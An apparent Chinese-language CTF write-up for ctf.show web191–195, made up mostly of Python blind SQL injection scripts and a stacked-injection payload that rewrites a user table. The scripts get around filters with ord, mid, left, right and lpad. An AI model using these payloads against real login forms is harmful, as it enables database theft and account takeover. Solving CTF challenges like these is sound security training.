目录
1、web191
2、web192
3、web193
4、web194
5、web195
1、web191
过滤了 ascii
使用 ord 代替:
import requests
import string
url = "http://a585c278-320a-40e7-841f-109b1e394caa.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
print(j)
for k in range(32, 128):
# 猜解数据库名
# data={
# 'username': f"0'||if(ord(substr(database(),{j},1))={k},1,0)#",
# 'password': '1'
# }
# 猜解表名
# data={
# 'username': f"0'||if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
# 'password': '1'
# }
# 猜解列名
# data={
# 'username': f"0'||if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
# 'password': '1'
# }
# 猜解 flag
data = {
'username': f"0'||if(ord(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += chr(k)
print(out)
break
拿到 flag:ctfshow{e2e5b2d9-f4f0-4deb-a7ce-17eae6f1133f}
2、web192
ascii 和 ord 都过滤了,那么我们就不转 ASCII 值,直接判断字符:
import requests
url = "http://c330c70b-f24e-49db-816b-ff1641ad269a.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz'
for j in range(1, 50):
print(j)
for k in dic:
data = {
'username': f"0'||if(substr((select f1ag from ctfshow_fl0g),{j},1)='{k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break
拿到 flag:ctfshow{f77caf71-e424-4082-8eef-299e85fc8fad}
3、web193
新增过滤 substr,使用 mid 代替:
MID() 函数用于从文本字段中提取字符
SELECT MID(column_name[,start,length]) FROM table_name;
参数 | 描述 |
---|---|
column_name | 必需。要提取字符的字段。 |
start | 必需。规定开始位置(起始值是 1)。 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |
因为这里我直接用上一道题的 payload 查 flag发现不行,应该是名字变了,我们重新从库开始查一遍, 先查数据库名:
import requests
url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
print(j)
for k in dic:
# data = {
# 'username': f"0'||if(substr((select f1ag from ctfshow_fl0g),{j},1)='{k}',1,0)#",
# 'password': '1'
# }
data = {
'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break
数据库名还是叫 ctfshow_web
查表名:
注意括号的使用,特别是 payload 里我去掉一些括号发现不行
import requests
url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
print(j)
for k in dic:
# 查数据库名
# data = {
# 'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
# 'password': '1'
# }
# 查表名
data = {
'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break
表名为:ctfshow_flxg
查列名:
import requests
url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
print(j)
for k in dic:
# 查数据库名
# data = {
# 'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
# 'password': '1'
# }
# 查表名
# data = {
# 'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
# 'password': '1'
# }
# 查列名
data = {
'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break
还是叫:f1ag
查具体字段信息:
import requests
url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
print(j)
for k in dic:
# 查数据库名
# data = {
# 'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
# 'password': '1'
# }
# 查表名
# data = {
# 'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
# 'password': '1'
# }
# 查列名
# data = {
# 'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
# 'password': '1'
# }
# 查具体字段
data = {
'username': f"0'||if((mid((select f1ag from ctfshow_flxg),{j},1))='{k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break
拿到 flag:ctfshow{285a3d83-989e-4627-bec8-1bfb26caf38b}
也可以用 left 函数:
从提供的字符串的左侧提取给定数量的字符,例如 LEFT('SQLServer',3) 返回 SQL。
import requests
url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
print(j)
for k in dic:
# 查具体字段
data = {
'username': f"0'||if((left((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break
有 left 当然就有 right:
RIGHT () 函数用于从字符串中检索最右边的指定长度的字符,这里稍微改一下结果的拼接方式
import requests
url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
print(j)
for k in dic:
# 查具体字段
data = {
'username': f"0'||if((right((select f1ag from ctfshow_flxg),{j}))='{k+out}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out = k + out
print(out)
break
可以看到结果是倒着输出的
4、web194
新增过滤 left、right
那么还可以用上一题的 mid 函数,直接跑:
拿到 flag:ctfshow{f0390ca9-bac9-4fba-8a8d-fd21741cd0eb}
此外,还可以用 lpad 和 rpad:
lpad('123456',2) 结果为 12
lpad('123456',7,'0') 结果为 0123456,左填充到字符串
因此,我们不指定第三个参数,就可以实现和 left 和 right 一样的效果。
5、web195
进入堆叠注入
密码只能是数字,过滤了空格,采用反引号包裹绕过,题目已经说了是堆叠注入,这里直接修改用户名和密码:
由查询语句我们可以知道是 username 和 pass 这两个字段
修改用户名和密码都是 1
1;update(ctfshow_user)set`username`=1,`pass`=1;
登录:
拿到 flag:ctfshow{8ff140cf-eaba-46f7-a624-c82f326b0056}